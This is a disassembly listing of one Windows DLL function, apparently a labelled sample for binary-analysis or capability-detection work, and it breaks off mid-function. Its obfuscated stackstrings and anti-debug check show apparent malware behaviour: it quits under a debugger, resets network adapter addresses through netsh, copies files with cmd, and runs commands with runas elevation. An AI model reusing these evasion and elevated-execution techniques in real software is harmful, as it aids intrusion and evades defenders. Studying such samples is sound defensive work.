Function at 0x180002d44
Capabilities:
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb98]
sub rsp, 0xc98
xor esi, esi
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 1
jne 0x180002d7a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0x60], 0x65006e
mov dword [rsp + 0x64], 0x730074
mov dword [rsp + 0x68], 0x68
mov dword [rsp + 0x70], 0x69004d
mov dword [rsp + 0x74], 0x69006e
mov dword [rsp + 0x78], 0x69006d
mov dword [rsp + 0x7c], 0x65007a
mov dword [rbp - 0x80], 0x64
mov dword [rbp + 0xd0], 0x74006e
mov dword [rbp + 0xd4], 0x6c0064
mov dword [rbp + 0xd8], 0x2e006c
mov dword [rbp + 0xdc], 0x6c0064
mov dword [rbp + 0xe0], 0x6c
movdqa xmm0, xmmword [str.RtlGetNtVersionN_]
movdqu xmmword [rbp + 0x240], xmm0
mov dword [rbp + 0x250], 0x65626d75
mov word [rbp + 0x254], 0x7372
mov byte [rbp + 0x256], sil
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rbp + 0x240]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp + 0xbf8]
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0xbe0]
call rax
mov eax, dword [rbp + 0xbe0]
cmp eax, 0xa
jne 0x1800031f9
cmp dword [rbp + 0xbe8], esi
jne 0x1800035a4
mov dword [rbp + 0x160], 0x730020
mov dword [rbp + 0x164], 0x610074
mov dword [rbp + 0x168], 0x690074
mov dword [rbp + 0x16c], 0x200063
mov dword [rbp + 0x170], 0x2e0031
mov dword [rbp + 0x174], 0x2e0030
mov dword [rbp + 0x178], 0x2e0030
mov dword [rbp + 0x17c], 0x200033
mov dword [rbp + 0x180], 0x350032
mov dword [rbp + 0x184], 0x2e0035
mov dword [rbp + 0x188], 0x350032
mov dword [rbp + 0x18c], 0x2e0035
mov dword [rbp + 0x190], 0x350032
mov dword [rbp + 0x194], 0x2e0035
mov dword [rbp + 0x198], 0x200030
mov dword [rbp + 0x19c], 0x2e0031
mov dword [rbp + 0x1a0], 0x2e0030
mov dword [rbp + 0x1a4], 0x2e0030
mov dword [rbp + 0x1a8], 0x200031
mov dword [rbp + 0x1ac], 0x31
mov dword [rbp + 0x28], 0x6e0069
mov dword [rbp + 0x2c], 0x650074
mov dword [rbp + 0x30], 0x660072
mov dword [rbp + 0x34], 0x630061
mov dword [rbp + 0x38], 0x200065
mov dword [rbp + 0x3c], 0x700069
mov dword [rbp + 0x40], 0x730020
mov dword [rbp + 0x44], 0x740065
mov dword [rbp + 0x48], 0x610020
mov dword [rbp + 0x4c], 0x640064
mov dword [rbp + 0x50], 0x650072
mov dword [rbp + 0x54], 0x730073
mov dword [rbp + 0x58], 0x20
lea rdx, str._WLAN_
lea rcx, [rbp + 0x28]
call fcn.18000f0a4
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x28]
call fcn.18000f0a4
lea rax, [rbp + 0x490]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0x4b0]
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x4d0]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], rsi
mov qword [rbp + 0x4a8], rsi
lea rcx, [rsp + 0x70]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x490]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b0], xmm0
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], rsi
lea rcx, [0x180021a54]
call fcn.18000ef78
mov r8, rax
lea rdx, [0x180021a54]
lea rcx, [rbp + 0x4b0]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rsi
mov qword [rbp + 0x4e8], rsi
lea rcx, [0x180021b50]
call fcn.18000ef78
mov r8, rax
lea rdx, [0x180021b50]
lea rcx, [rbp + 0x4d0]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], rsi
lea rcx, [rsp + 0x60]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x4f0]
call fcn.180004fa4
nop
lea r9, [rbp + 0x490]
lea r8, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x4f0]
call fcn.180001824
lea rax, [rbp + 0x510]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0x530]
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x550]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], rsi
lea rcx, [rsp + 0x70]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x510]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], rsi
mov qword [rbp + 0x548], rsi
lea rcx, [0x180021a54]
call fcn.18000ef78
mov r8, rax
lea rdx, [0x180021a54]
lea rcx, [rbp + 0x530]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], rsi
lea rcx, [rbp + 0x28]
call fcn.18000ef78
mov r8, rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x550]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], rsi
lea rcx, [rsp + 0x60]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x570]
call fcn.180004fa4
nop
lea r9, [rbp + 0x510]
lea r8, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x570]
call fcn.180001824
mov eax, dword [rbp + 0xbe0]
cmp eax, 6
jne 0x1800035a4
cmp dword [rbp + 0xbe8], 1
jne 0x1800035a4
mov dword [rbp + 0x60], 0x6e0069
mov dword [rbp + 0x64], 0x650074
mov dword [rbp + 0x68], 0x660072
mov dword [rbp + 0x6c], 0x630061
mov dword [rbp + 0x70], 0x200065
mov dword [rbp + 0x74], 0x700069
mov dword [rbp + 0x78], 0x730020
mov dword [rbp + 0x7c], 0x740065
mov dword [rbp + 0x80], 0x610020
mov dword [rbp + 0x84], 0x640064
mov dword [rbp + 0x88], 0x650072
mov dword [rbp + 0x8c], 0x730073
mov dword [rbp + 0x90], 0x20
mov dword [rbp + 0x1b0], 0x730020
mov dword [rbp + 0x1b4], 0x610074
mov dword [rbp + 0x1b8], 0x690074
mov dword [rbp + 0x1bc], 0x200063
mov dword [rbp + 0x1c0], 0x2e0031
mov dword [rbp + 0x1c4], 0x2e0030
mov dword [rbp + 0x1c8], 0x2e0030
mov dword [rbp + 0x1cc], 0x200033
mov dword [rbp + 0x1d0], 0x350032
mov dword [rbp + 0x1d4], 0x2e0035
mov dword [rbp + 0x1d8], 0x350032
mov dword [rbp + 0x1dc], 0x2e0035
mov dword [rbp + 0x1e0], 0x350032
mov dword [rbp + 0x1e4], 0x2e0035
mov dword [rbp + 0x1e8], 0x200030
mov dword [rbp + 0x1ec], 0x2e0031
mov dword [rbp + 0x1f0], 0x2e0030
mov dword [rbp + 0x1f4], 0x2e0030
mov dword [rbp + 0x1f8], 0x200031
mov dword [rbp + 0x1fc], 0x31
lea rdx, [0x180021bd8]
lea rcx, [rbp + 0x60]
call fcn.18000f0a4
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x60]
call fcn.18000f0a4
lea rax, [rbp + 0x290]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0x2b0]
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x2d0]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], rsi
lea rcx, [rsp + 0x70]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x290]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], rsi
lea rbx, [0x180021a54]
mov rcx, rbx
call fcn.18000ef78
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x2b0]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], rsi
mov qword [rbp + 0x2e8], rsi
lea rcx, str.interface_ip_set_address
call fcn.18000ef78
mov r8, rax
lea rdx, str.interface_ip_set_address
lea rcx, [rbp + 0x2d0]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], rsi
mov qword [rbp + 0x308], rsi
lea rcx, [rsp + 0x60]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2f0]
call fcn.180004fa4
nop
lea r9, [rbp + 0x290]
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2f0]
call fcn.180001824
lea rax, [rbp + 0x310]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0x330]
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x350]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], rsi
lea rcx, [rsp + 0x70]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x310]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rsi
mov qword [rbp + 0x348], rsi
mov rcx, rbx
call fcn.18000ef78
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x330]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], rsi
mov qword [rbp + 0x368], rsi
lea rcx, [rbp + 0x60]
call fcn.18000ef78
mov r8, rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x350]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], rsi
mov qword [rbp + 0x388], rsi
lea rcx, [rsp + 0x60]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x370]
call fcn.180004fa4
nop
lea r9, [rbp + 0x310]
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x370]
call fcn.180001824
mov ecx, 0x1770
call qword [0x1800e23d8]
lea rcx, [rbp + 0x590]
call fcn.180001ec8
nop
mov r14d, 0x10
cmp qword [rax + 0x18], r14
jb 0x1800035cb
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x8d0]
call fcn.1800012dc
mov rbx, rax
lea rcx, [rbp + 0x8b0]
call fcn.180001e48
nop
lea r8, [0x180021a50]
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.180004d8c
nop
mov r9, rbx
mov r8, rax
lea rcx, [rbp + 0x470]
call fcn.180005554
nop
lea rcx, [rbp + 0x890]
call fcn.180004b10
nop
lea rcx, [rbp + 0x8b0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x8d0]
call fcn.180004b10
nop
mov r15d, 0x1000
mov r12d, 0x27
lea r13d, [r12 - 8]
mov rdx, qword [rbp + 0x5a8]
cmp rdx, r14
jb 0x180003686
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, r15
jb 0x180003681
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045c5
call fcn.18000a544
movdqa xmm0, xmmword [0x180023760]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], sil
lea rcx, [rbp + 0x470]
cmp qword [rbp + 0x488], 8
cmovae rcx, qword [rbp + 0x470]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [rbp - 0x38], 0x65002e
mov dword [rbp - 0x34], 0x650078
mov word [rbp - 0x30], si
lea rcx, [rbp + 0x5b0]
call fcn.180001ec8
nop
cmp qword [rax + 0x18], r14
jb 0x1800036e4
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x910]
call fcn.1800012dc
mov rbx, rax
lea r8, [0x180021a50]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x8f0]
call fcn.180004e58
nop
mov r9, rbx
mov r8, rax
lea rcx, [rbp + 0x6f0]
call fcn.180005554
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x450]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x6f0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x8f0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x910]
call fcn.180004b10
nop
mov rdx, qword [rbp + 0x5c8]
cmp rdx, r14
jb 0x18000379d
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, r15
jb 0x180003798
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045cb
call fcn.18000a544
movdqa xmm0, xmmword [0x180023760]
movdqu xmmword [rbp + 0x5c0], xmm0
mov byte [rbp + 0x5b0], sil
mov r8d, 0x200
lea rdx, [rbp + 0x990]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rsi
lea rcx, [rbp + 0x990]
call fcn.18000f0e0
mov r8, rax
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x200]
call fcn.1800050c8
nop
lea rdx, [0x180021c7c]
lea rcx, [rbp + 0x200]
call fcn.180004b74
mov rdx, rax
cmp rax, 0xffffffffffffffff
jne 0x180003836
lea rdx, [0x180021c80]
lea rcx, [rbp + 0x200]
call fcn.180004b74
mov rdx, rax
mov rcx, qword [rbp + 0x210]
mov r8, rcx
sub r8, rdx
dec r8
inc rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
cmp rcx, rdx
jb 0x1800045d1
sub rcx, rdx
cmp rcx, r8
cmovb r8, rcx
lea rax, [rbp + 0x200]
cmp qword [rbp + 0x218], r14
cmovae rax, qword [rbp + 0x200]
add rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1800050c8
nop
lea rdx, [0x180021c84]
lea rcx, [rsp + 0x40]
call fcn.180004b74
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
cmp qword [rsp + 0x50], rax
cmovb rax, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmovae rdx, qword [rsp + 0x40]
mov r8, rax
lea rcx, [rbp + 0x610]
call fcn.1800050c8
mov rdx, qword [rsp + 0x58]
cmp rdx, r14
jb 0x180003918
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x180003913
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045d7
call fcn.18000a544
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], sil
mov r8d, 0x20
lea rdx, [rbp + 0x610]
lea rcx, [rsp + 0x40]
call fcn.18000bc60
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x268], xmm1
lea rcx, [0x180021c88]
call fcn.18000f0e0
mov r8, rax
lea rdx, [0x180021c88]
lea rcx, [rbp + 0x258]
call fcn.1800050c8
nop
lea r8, [rbp + 0x258]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x278]
call fcn.180005b80
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, r14
jb 0x1800039cd
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, r15
jb 0x1800039c8
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045dd
call fcn.18000a544
movdqa xmm0, xmmword [0x180023760]
movdqu xmmword [rbp + 0x268], xmm0
mov byte [rbp + 0x258], sil
mov rax, qword [rbp + 0x280]
sub rax, qword [rbp + 0x278]
sar rax, 5
cmp rax, 2
jb 0x1800044ed
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x670]
call fcn.18000141c
lea rdx, [0x180021c7c]
mov rcx, rax
call fcn.180004b74
mov rdi, rax
mov rdx, qword [rbp + 0x688]
cmp rdx, r14
jb 0x180003a5f
inc rdx
mov rcx, qword [rbp + 0x670]
mov rax, rcx
cmp rdx, r15
jb 0x180003a5a
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045e3
call fcn.18000a544
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x5d0]
call fcn.18000141c
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rbx, [rdi + 1]
mov r8, rbx
cmp qword [rax + 0x10], rbx
cmovb r8, qword [rax + 0x10]
cmp qword [rax + 0x18], r14
jb 0x180003a9b
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.1800050c8
nop
mov rdx, qword [rbp + 0x5e8]
cmp rdx, r14
jb 0x180003ae2
inc rdx
mov rcx, qword [rbp + 0x5d0]
mov rax, rcx
cmp rdx, r15
jb 0x180003add
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045e9
call fcn.18000a544
movdqa xmm0, xmmword [0x180023760]
movdqu xmmword [rbp + 0x5e0], xmm0
mov byte [rbp + 0x5d0], sil
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x690]
call fcn.18000141c
nop
mov r8, qword [rbp + 0x460]
sub r8, rdi
dec r8
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a0], xmm1
mov rcx, qword [rax + 0x10]
cmp rcx, rbx
jb 0x1800045ef
sub rcx, rbx
cmp rcx, r8
cmovb r8, rcx
cmp qword [rax + 0x18], r14
jb 0x180003b4f
mov rax, qword [rax]
lea rdx, [rax + rbx]
lea rcx, [rbp + 0x390]
call fcn.1800050c8
mov rdx, qword [rsp + 0x58]
cmp rdx, r14
jb 0x180003b95
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x180003b90
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045f5
call fcn.18000a544
mov qword [rsp + 0x50], rsi
mov edi, 0xf
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], sil
lea ebx, [rdi + 0x11]
mov r8d, ebx
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x40]
call fcn.18000bc60
movdqa xmm0, xmmword [0x180023760]
movdqu xmmword [rbp + 0x3a0], xmm0
mov byte [rbp + 0x390], sil
mov rdx, qword [rbp + 0x6a8]
cmp rdx, r14
jb 0x180003c11
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, r15
jb 0x180003c0c
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045fb
call fcn.18000a544
lea rdx, [0x180021c84]
lea rcx, [rsp + 0x40]
call fcn.180004b74
xorps xmm0, xmm0
movups xmmword [rbp + 0x630], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x640], xmm1
cmp qword [rsp + 0x50], rax
cmovb rax, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmovae rdx, qword [rsp + 0x40]
mov r8, rax
lea rcx, [rbp + 0x630]
call fcn.1800050c8
mov rdx, qword [rsp + 0x58]
cmp rdx, r14
jb 0x180003c97
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x180003c92
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x180004601
call fcn.18000a544
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x40], sil
mov r8, rbx
lea rdx, [rbp + 0x630]
lea rcx, [rsp + 0x40]
call fcn.18000bc60
mov rbx, qword [rbp + 0x278]
add rbx, 0x20
lea rcx, [0x180021c88]
call fcn.18000f0e0
mov rdx, qword [rbx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, rax
jb 0x180004607
cmp qword [rbx + 0x18], r14
jb 0x180003cf4
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x650]
call fcn.1800058b0
nop
lea rdx, [rbp + 0x650]
lea rcx, [rsp + 0x40]
call fcn.180004c20
nop
mov rdx, qword [rbp + 0x668]
cmp rdx, r14
jb 0x180003d5c
inc rdx
mov rcx, qword [rbp + 0x650]
mov rax, rcx
cmp rdx, r15
jb 0x180003d57
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x18000460d
call fcn.18000a544
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x78]
call fcn.180004c20
call fcn.180002344
mov ecx, 0x64
call qword [0x1800e23d8]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x930]
call fcn.1800012dc
mov r8, rax
call fcn.1800020b4
mov dword [rbp + 0xa8], 0x790073
mov dword [rbp + 0xac], 0x740073
mov dword [rbp + 0xb0], 0x6d0065
mov dword [rbp + 0xb4], 0x320033
mov dword [rbp + 0xb8], 0x63005c
mov dword [rbp + 0xbc], 0x64006d
mov dword [rbp + 0xc0], 0x65002e
mov dword [rbp + 0xc4], 0x650078
mov word [rbp + 0xc8], si
mov dword [rbp + 0x10], 0x3a0043
mov dword [rbp + 0x14], 0x57005c
mov dword [rbp + 0x18], 0x6e0069
mov dword [rbp + 0x1c], 0x6f0064
mov dword [rbp + 0x20], 0x730077
mov dword [rbp + 0x24], 0x5c
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], rsi
lea rcx, [rbp + 0x10]
call fcn.18000ef78
mov r8, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x220]
call fcn.180004fa4
nop
mov rdi, qword [rbp + 0x230]
lea rcx, [rbp + 0xa8]
call fcn.18000ef78
movabs rbx, 0x7ffffffffffffffe
mov rcx, rbx
sub rcx, rdi
cmp rcx, rax
jb 0x180004613
lea r9, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae r9, qword [rbp + 0x220]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x870]
call fcn.180005768
nop
mov dword [rbp + 0xe8], 0x73005c
mov dword [rbp + 0xec], 0x730079
mov dword [rbp + 0xf0], 0x650074
mov dword [rbp + 0xf4], 0x33006d
mov dword [rbp + 0xf8], 0x5c0032
mov dword [rbp + 0xfc], 0x750052
mov dword [rbp + 0x100], 0x44006e
mov dword [rbp + 0x104], 0x4c004c
mov dword [rbp + 0x108], 0x320033
mov dword [rbp + 0x10c], 0x65002e
mov dword [rbp + 0x110], 0x650078
mov word [rbp + 0x114], si
mov rdi, qword [rbp + 0x230]
lea rcx, [rbp + 0xe8]
call fcn.18000ef78
sub rbx, rdi
cmp rbx, rax
jb 0x180004619
lea r9, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae r9, qword [rbp + 0x220]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x850]
call fcn.180005768
nop
mov dword [rbp - 0x28], 0x6f0043
mov dword [rbp - 0x24], 0x73006e
mov dword [rbp - 0x20], 0x6c006f
mov dword [rbp - 0x1c], 0x500065
mov dword [rbp - 0x18], 0x6f0072
mov dword [rbp - 0x14], 0x790078
mov dword [rbp - 0x10], 0x65002e
mov dword [rbp - 0xc], 0x650078
mov word [rbp - 8], si
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x970]
call fcn.1800012dc
nop
lea r8, [0x180021a50]
mov rdx, rax
lea rcx, [rbp + 0x950]
call fcn.180004d8c
nop
lea r8, [rbp - 0x28]
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x950]
call fcn.180004b10
nop
lea rcx, [rbp + 0x970]
call fcn.180004b10
mov dword [rbp + 0x98], 0x72002f
mov dword [rbp + 0x9c], 0x6f006f
mov dword [rbp + 0xa0], 0x2c0074
mov dword [rbp + 0xa4], 0x20
lea r8, [rbp + 0x6d0]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x830]
call fcn.180004d18
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x710]
call fcn.1800012dc
nop
lea r8, [0x180021c8c]
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x710]
call fcn.180004b10
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x730]
call fcn.1800012dc
nop
lea r8, [0x180021c94]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x730]
call fcn.180004b10
mov dword [rbp + 0x130], 0x70006f
mov dword [rbp + 0x134], 0x6e0065
mov dword [rbp + 0x138], 0x6f0063
mov dword [rbp + 0x13c], 0x73006e
mov dword [rbp + 0x140], 0x6c006f
mov dword [rbp + 0x144], 0x770065
mov dword [rbp + 0x148], 0x630070
mov dword [rbp + 0x14c], 0x700061
mov dword [rbp + 0x150], 0x64002e
mov edi, 0x64
mov dword [rbp + 0x154], 0x6c006c
mov word [rbp + 0x158], si
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x770]
call fcn.1800012dc
nop
lea r8, [0x180021a50]
mov rdx, rax
lea rcx, [rbp + 0x750]
call fcn.180004d8c
nop
lea r8, [rbp + 0x130]
mov rdx, rax
lea rcx, [rbp + 0x6b0]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x750]
call fcn.180004b10
nop
lea rcx, [rbp + 0x770]
call fcn.180004b10
mov dword [rbp + 0x118], 0x63002f
mov dword [rbp + 0x11c], 0x630020
mov dword [rbp + 0x120], 0x70006f
mov dword [rbp + 0x124], 0x200079
mov dword [rbp + 0x128], 0x62002f
mov dword [rbp + 0x12c], 0x20
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x7f0]
call fcn.180004d18
nop
lea r8, [0x180021ca0]
mov rdx, rax
lea rcx, [rbp + 0x7d0]
call fcn.180004d8c
nop
lea r8, [rbp + 0x410]
mov rdx, rax
lea rcx, [rbp + 0x7b0]
call fcn.180004ed8
nop
lea r8, [0x180021c9c]
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.180004d8c
nop
lea r8, [rbp + 0x6b0]
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.180004ed8
nop
lea rcx, [rbp + 0x790]
call fcn.180004b10
nop
lea rcx, [rbp + 0x7b0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x7d0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x7f0]
call fcn.180004b10
mov ecx, edi
call qword [0x1800e23d8]
mov dword [rbp], 0x750072
mov dword [rbp + 4], 0x61006e
mov dword [rbp + 8], 0x73
mov dword [rbp - 0x58], 0x4d0043
mov dword [rbp - 0x54], 0x44
lea r9, [rbp + 0x5f0]
cmp qword [rbp + 0x608], 8
cmovae r9, qword [rbp + 0x5f0]
mov dword [rsp + 0x28], esi
